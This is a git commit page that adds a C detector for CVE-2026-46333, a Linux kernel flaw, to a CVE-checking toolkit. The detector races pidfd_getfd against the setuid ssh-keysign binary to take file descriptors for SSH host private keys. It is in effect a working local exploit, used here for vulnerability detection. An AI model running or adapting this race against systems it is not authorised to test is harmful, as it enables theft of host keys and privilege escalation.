cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit dd2cf6cd26b843f6b6f4210c6623df5723d6f593
parent 0e3a33425094a5568fa6c2f74da987e86bd771e6
Author: finwo <finwo@pm.me>
Date:   Tue, 19 May 2026 10:54:45 +0200

Add cve-2026-46333 detector

Diffstat:
MREADME.md | 9+++++----
Asrc/detector/cve-2026-46333.c | 146+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 151 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md @@ -4,10 +4,11 @@ A lightweight CVE detection toolkit for Linux systems. ## Detected Vulnerabilities -| CVE | Alias | Details | -| ----------------------------------------------------------------- | --------- | ---------------------------------------------------- | -| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` | -| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE | +| CVE | Alias | Details | +| ----------------------------------------------------------------- | --------------- | ---------------------------------------------------- | +| [CVE-2026-31431](https://www.cve.org/CVERecord?id=CVE-2026-31431) | CopyFail | Kernel crypto initialization bypass via `algif_aead` | +| [CVE-2026-43284](https://www.cve.org/CVERecord?id=CVE-2026-43284) | DirtyFrag | xfrm-ESP page-cache write LPE | +| [CVE-2026-46333](https://nvd.nist.gov/vuln/detail/CVE-2026-46333) | ssh-keysign-pwn | pidfd_getfd FD theft via mm-NULL dumpable bypass | ## Build diff --git a/src/detector/cve-2026-46333.c b/src/detector/cve-2026-46333.c @@ -0,0 +1,146 @@ +/* + * CVE-2026-46333 — ssh-keysign-pwn + * + * __ptrace_may_access() skips the dumpable check when task->mm == NULL. + * During do_exit(), exit_mm() runs before exit_files(), creating a window + * where pidfd_getfd(2) can steal FDs from a setuid binary that opened + * sensitive files before dropping privileges. + * + * Detector: spawn ssh-keysign, open a pidfd, race pidfd_getfd looking for + * an fd pointing at ssh_host_*_key. Success = vulnerable. + */ +#define _GNU_SOURCE +#include <errno.h> +#include <fcntl.h> +#include <signal.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/syscall.h> +#include <sys/wait.h> +#include <unistd.h> + +#include "setup.h" + +#ifndef __NR_pidfd_open +#define __NR_pidfd_open 434 +#endif +#ifndef __NR_pidfd_getfd +#define __NR_pidfd_getfd 438 +#endif + +static int my_pidfd_open(pid_t pid, unsigned flags) +{ + return (int)syscall(__NR_pidfd_open, pid, flags); +} + +static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags) +{ + return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags); +} + +static const char *SSH_KEYSIGN_PATHS[] = { + "/usr/libexec/ssh-keysign", + "/usr/libexec/openssh/ssh-keysign", + "/usr/lib/ssh/ssh-keysign", + "/usr/lib/openssh/ssh-keysign", + NULL, +}; + +int detector_cve_2026_46333(struct cve_context *ctx) +{ + const char *bin = NULL; + + /* Locate ssh-keysign binary */ + for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) { + if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) { + bin = SSH_KEYSIGN_PATHS[i]; + break; + } + } + if (!bin) { + /* ssh-keysign not present — not exploitable */ + return 0; + } + + /* + * Try up to 200 rounds. The upstream exploit uses 500; 200 is + * enough to be confident while keeping detector runtime reasonable. + */ + for (int round = 0; round < 200; round++) { + pid_t child = fork(); + if (child < 0) + return 0; + + if (child == 0) { + /* Child: redirect stdio and exec ssh-keysign */ + int dn = open("/dev/null", O_RDWR); + if (dn >= 0) { + dup2(dn, 0); + dup2(dn, 1); + dup2(dn, 2); + if (dn > 2) + close(dn); + } + execl(bin, "ssh-keysign", (char *)NULL); + _exit(127); + } + + int pidfd = my_pidfd_open(child, 0); + if (pidfd < 0) { + waitpid(child, NULL, 0); + continue; + } + + int hit = 0; + for (int a = 0; a < 30000 && !hit; a++) { + /* If the child already exited, stop hammering pidfd_getfd */ + if (waitpid(child, NULL, WNOHANG) > 0) + break; + for (int fd = 3; fd < 32; fd++) { + int stolen = my_pidfd_getfd(pidfd, fd, 0); + if (stolen < 0) + continue; + + /* Resolve the stolen fd to see what it points at */ + char path[256] = {0}; + char link[64]; + snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen); + ssize_t n = readlink(link, path, sizeof(path) - 1); + if (n > 0) + path[n] = '\0'; + + if (strstr(path, "ssh_host_") && strstr(path, "_key")) { + /* Found a host key fd — system is vulnerable */ + if (ctx->verbose) + fprintf(stderr, + "[cve-2026-46333] vulnerable: stole fd %d -> %s\n", + fd, path); + close(stolen); + hit = 1; + break; + } + close(stolen); + } + } + + close(pidfd); + waitpid(child, NULL, 0); + + if (hit) + return 1; /* vulnerable */ + } + + /* No hit after all rounds — likely patched */ + return 0; +} + +__attribute__((constructor)) +void detector_cve_2026_46333_setup(void) +{ + detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn", + "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n" + " No per-binary workaround is effective — the flaw is in the\n" + " kernel's __ptrace_may_access() and affects any setuid binary.", + detector_cve_2026_46333); +}